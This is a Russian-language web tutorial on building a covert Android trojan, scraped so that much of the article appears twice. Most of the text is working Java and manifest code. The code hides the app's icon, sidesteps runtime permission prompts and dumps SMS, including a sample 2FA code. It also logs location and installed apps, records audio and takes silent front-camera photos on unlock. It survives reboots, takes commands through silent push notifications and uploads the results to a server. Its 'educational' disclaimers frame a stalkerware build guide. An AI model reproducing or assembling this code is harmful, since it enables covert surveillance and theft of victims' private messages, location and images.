case Surface.ROTATION_270:
deviceOrientation = 270;
break;
}
int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
deviceOrientation = (deviceOrientation + 45) / 90 * 90;
boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
}
}
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
String cameraDir = context.getApplicationInfo().dataDir + «/camera/»
camera.takeSilentPhoto(«front», cameraDir);
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
public class Alarm extends BroadcastReceiver {
public static void set(Context context) {
AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
- Твой код здесь
}
}
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Alarm.set(this)
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
- Ваш код здесь
}
}
И добавьте в манифест следующие строки:
<receiver android:name=»com.example.app.ScreenOnReceiver»>
<intent-filter>
<action android:name=»android.intent.action.ACTION_SCREEN_ON» />
</intent-filter>
</receiver>
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
Intent serviceIntent = new Intent(this, MainService.class);
startService(serviceIntent);
}
}
И опять же добавим его в манифест:
<receiver android:name=»com.example.BootReceiver»>
<intent-filter>
<action android:name=»android.intent.action.BOOT_COMPLETED» />
</intent-filter>
</receiver>
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
String url = «//example.com/cmd»
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
Response response = client.newCall(request).execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals(«record»)) {
- Делаем аудиозапись
}
try {
Thread.sleep(60 * 1000);
} catch (InterruptedException e) {}
}
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
class App extends Application {
@Override
public void onCreate() {
super.onCreate()
OneSignal.startInit(this).init()
}
}
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
class OSService extends NotificationExtenderService {
@Override
protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
String cmd = receivedResult.payload.body.trim()
if (cmd.equals(«record»)) {
- Делаем аудиозапись
}
- Не показывать уведомление
return true
}
}
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
<service
android:name=»org.antrack.app.service.OSService»
android:exported=»false»>
<intent-filter>
<action android:name=»com.onesignal.NotificationExtender» />
</intent-filter>
</service>
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);
public void uploadImage(File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
.addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
.build();
Request request = new Request.Builder().url(«//com.example.com/upload»)
.post(requestBody).build();
Response response = client.newCall(request).execute();
}
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.
Если Вам понравилась статья — поделитесь с друзьями
804 просмотров
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.
Содержание
- 1 Как написать троян на Андроид
- 1.1 Каркас
- 1.2 Информация о местоположении
- 1.3 Список установленных приложений
- 1.4 Дамп СМС
- 1.5 Скрытая запись аудио
- 1.6 Скрытая съемка
- 1.7 Складываем все вместе
- 1.8 Задания по расписанию
- 1.9 Снимок при включении экрана
- 1.10 Запуск при загрузке
- 1.11 Запись аудио по команде
- 1.12 Отправка данных на сервер
- 2 Выводы
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Еще по теме: Как вирусы попадают в Google Play Market
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
<uses—permission android:name=«android.permission.ACCESS_COARSE_LOCATION»/> <uses—permission android:name=«android.permission.ACCESS_FINE_LOCATION» /> <uses—permission android:name=«android.permission.INTERNET» /> <uses—permission android:name=«android.permission.CAMERA» /> <uses—permission android:name=«android.permission.RECORD_AUDIO» /> <uses—permission android:name=«android.permission.RECEIVE_BOOT_COMPLETED»/> <uses—permission android:name=«android.permission.READ_PHONE_STATE» /> <uses—permission android:name=«android.permission.PROCESS_OUTGOING_CALLS» /> <uses—permission android:name=«android.permission.READ_CONTACTS» /> <uses—permission android:name=«android.permission.READ_SMS» /> |
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity android:name=«com.example.app.MainActivity» android:label=«@string/app_name» > <intent—filter> <action android:name=«android.intent.action.MAIN» /> <category android:name=«android.intent.category.LAUNCHER» /> </intent—filter> </activity> <service android:name=«com.example.app.MainService» android:enabled=«true» android:exported=«false»> </service> |
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState) // Запускаем сервис startService(new Intent(this, MainService.class)); // Отключаем Activtiy ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»); pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); } |
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
Location getLastLocation(Context context) { LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); long GPSLocationTime = 0; if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); } long NetLocationTime = 0; if (null != locationNet) { NetLocationTime = locationNet.getTime(); } Location loc; if ( 0 < GPSLocationTime — NetLocationTime ) { loc = locationGPS; } else { loc = locationNet; } if (loc != null) { return loc; } else { return null; } } |
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context) String locationFile = context.getApplicationInfo().dataDir + «/location» try { OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE)); outputStreamWriter.write(loc.getLatitude() + » « + loc.getLongitude); outputStreamWriter.close(); } catch (IOException e) {} |
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
void dumpSMS(Context context) { String appsFile = context.getApplicationInfo().dataDir + «/apps» final PackageManager pm = context.getPackageManager(); List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); try { PrintWriter pw = Files.writeLines(appsFile); for (ApplicationInfo packageInfo : packages) { if (!isSystemPackage(packageInfo)) pw.println(pm.getApplicationLabel(packageInfo) + «: « + packageInfo.packageName); } pw.close(); } catch (IOException e) {} } private boolean isSystemPackage(ApplicationInfo applicationInfo) { return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0); } |
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
void dumpSMS(Context context, String file, String box) { SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US); Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null); try { PrintWriter pw = Files.writeLines(file); if (cursor != null && cursor.moveToFirst()) { do { String address = null; String date = null; String body = null; for (int idx = 0; idx < cursor.getColumnCount(); idx++) { switch (cursor.getColumnName(idx)) { case «address»: address = cursor.getString(idx); break; case «date»: date = cursor.getString(idx); break; case «body»: body = cursor.getString(idx); } } if (box.equals(«inbox»)) { pw.println(«From: « + address); } else { pw.println(«To: « + address); } String dateString = formatter.format(new Date(Long.valueOf(date))); pw.println(«Date: « + dateString); if (body != null) { pw.println(«Body: « + body.replace(‘n’, ‘ ‘)); } else { pw.println(«Body: «); } pw.println(); } while (cursor.moveToNext()); } pw.close(); cursor.close(); } catch (Exception e) {} } |
Использовать его следует так:
// Сохраняем список всех полученных СМС String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox» dumpSMS(context, inboxFile, «inbox»); // Сохраняем список отправленных СМС String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»; dumpSMS(context, sentFile, «sent»); |
Записи в файле будут выглядеть примерно так:
From: Google Date: 2017.02.24 06:49:55 Body: G—732583 is your Google verification code. |
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
void recordAudio(String file, final int time) { MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile(file); try { recorder.prepare(); } catch (IOException e) {} recorder.start(); Thread timer = new Thread(new Runnable() { @Override public void run() { try { Thread.sleep(time * 1000); } catch (InterruptedException e) { Log.d(TAG, «timer interrupted»); } finally { recorder.stop(); recorder.release(); } } }); timer.start(); } |
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US); Date date = new Date(); String filePrefix = context.getApplicationInfo().dataDir + «/audio-«; recordAudio(filePrefix + formatter.format(date) + «.3gp», 15); |
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 |
public class SilentCamera2 { private Context context; private CameraDevice device; private ImageReader imageReader; private CameraCaptureSession session; private SurfaceTexture surfaceTexture; private CameraCharacteristics characteristics; private Surface previewSurface; private CaptureRequest.Builder request; private Handler handler; private String photosDir; public SilentCamera2(Context context) { this.context = context; } private final CameraDevice.StateCallback mStateCallback = new CameraDevice.StateCallback() { @Override public void onOpened(CameraDevice cameraDevice) { device = cameraDevice; try { surfaceTexture = new SurfaceTexture(10); previewSurface = new Surface(surfaceTexture); List<Surface> surfaceList = new ArrayList<>(); surfaceList.add(previewSurface); surfaceList.add(imageReader.getSurface()); cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler); } catch (Exception e) { } } @Override public void onDisconnected(CameraDevice cameraDevice) { } @Override public void onError(CameraDevice cameraDevice, int error) { } }; private CameraCaptureSession.StateCallback mCaptureStateCallback = new CameraCaptureSession.StateCallback() { @Override public void onConfigured(CameraCaptureSession captureSession) { session = captureSession; try { request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW); request.addTarget(previewSurface); request.set(CaptureRequest.CONTROL_AF_TRIGGER, CameraMetadata.CONTROL_AF_TRIGGER_START); captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler); } catch (Exception e) { } } @Override public void onConfigureFailed(CameraCaptureSession mCaptureSession) {} }; private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { @Override public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) { } }; private final ImageReader.OnImageAvailableListener mOnImageAvailableListener = new ImageReader.OnImageAvailableListener() { @Override public void onImageAvailable(ImageReader reader) { DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»); Date date = new Date(); String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»; File file = new File(filename); Image image = imageReader.acquireLatestImage(); try { ByteBuffer buffer = image.getPlanes()[0].getBuffer(); byte[] bytes = new byte[buffer.remaining()]; buffer.get(bytes); OutputStream os = new FileOutputStream(file); os.write(bytes); image.close(); os.close(); } catch (Exception e) { e.getStackTrace(); } closeCamera(); } }; private void takePicture() { request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation()); request.addTarget(imageReader.getSurface()); try { session.capture(request.build(), mCaptureCallback, handler); } catch (CameraAccessException e) { } } private void closeCamera() { try { if (null != session) { session.abortCaptures(); session.close(); session = null; } if (null != device) { device.close(); device = null; } if (null != imageReader) { imageReader.close(); imageReader = null; } if (null != surfaceTexture) { surfaceTexture.release(); } } catch (Exception e) { } } public boolean takeSilentPhoto(String cam, String dir) { photosDir = dir; int facing; switch (cam) { case «front»: facing = CameraCharacteristics.LENS_FACING_FRONT; break; case «back»: facing = CameraCharacteristics.LENS_FACING_BACK; break; default: return false; } CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); String cameraId = null; characteristics = null; try { for (String id : manager.getCameraIdList()) { characteristics = manager.getCameraCharacteristics(id); Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING); if (currentFacing != null && currentFacing == facing) { cameraId = id; break; } } } catch (Exception e) { return false; } HandlerThread handlerThread = new HandlerThread(«CameraBackground»); handlerThread.start(); handler = new Handler(handlerThread.getLooper()); imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2); imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler); try { manager.openCamera(cameraId, mStateCallback, handler); // Ждем фокусировку Thread.sleep(1000); takePicture(); } catch (Exception e) { Log.d(TAG, «Can’t open camera: « + e.toString()); return false; } return true; } private int getOrientation() { WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); int rotation = wm.getDefaultDisplay().getRotation(); int deviceOrientation = 0; switch(rotation){ case Surface.ROTATION_0: deviceOrientation = 0; break; case Surface.ROTATION_90: deviceOrientation = 90; break; case Surface.ROTATION_180: deviceOrientation = 180; break; case Surface.ROTATION_270: deviceOrientation = 270; break; } int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION); deviceOrientation = (deviceOrientation + 45) / 90 * 90; boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT; if (facingFront) deviceOrientation = —deviceOrientation; return (sensorOrientation + deviceOrientation + 360) % 360; } } |
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
String cameraDir = context.getApplicationInfo().dataDir + «/camera/» camera.takeSilentPhoto(«front», cameraDir); |
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Еще по теме: Как создать RAT для Android
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
public class Alarm extends BroadcastReceiver { public static void set(Context context) { AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(context, Alarm.class); PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0); am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent); } @Override public void onReceive(Context context, Intent intent) { // Твой код здесь } } |
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
class ScreenOnReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { // Ваш код здесь } } |
И добавьте в манифест следующие строки:
<receiver android:name=«com.example.app.ScreenOnReceiver»> <intent—filter> <action android:name=«android.intent.action.ACTION_SCREEN_ON» /> </intent—filter> </receiver> |
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
class BootReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { Intent serviceIntent = new Intent(this, MainService.class); startService(serviceIntent); } } |
И опять же добавим его в манифест:
<receiver android:name=«com.example.BootReceiver»> <intent—filter> <action android:name=«android.intent.action.BOOT_COMPLETED» /> </intent—filter> </receiver> |
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
String url = «http://example.com/cmd» OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder().url(url).build(); while (true) { Response response = client.newCall(request).execute(); String cmd = response.body().string(); cmd = cmd.trim() if (cmd.equals(«record»)) { // Делаем аудиозапись } try { Thread.sleep(60 * 1000); } catch (InterruptedException e) {} } |
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
class App extends Application { @Override public void onCreate() { super.onCreate() OneSignal.startInit(this).init() } } |
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
class OSService extends NotificationExtenderService { @Override protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) { String cmd = receivedResult.payload.body.trim() if (cmd.equals(«record»)) { // Делаем аудиозапись } // Не показывать уведомление return true } } |
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
<service android:name=«org.antrack.app.service.OSService» android:exported=«false»> <intent—filter> <action android:name=«com.onesignal.NotificationExtender» /> </intent—filter> </service> |
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»); public void uploadImage(File image, String imageName) throws IOException { OkHttpClient client = new OkHttpClient(); RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM) .addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image)) .build(); Request request = new Request.Builder().url(«http://com.example.com/upload») .post(requestBody).build(); Response response = client.newCall(request).execute(); } |
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).
Еще по теме: Где скачать вирусы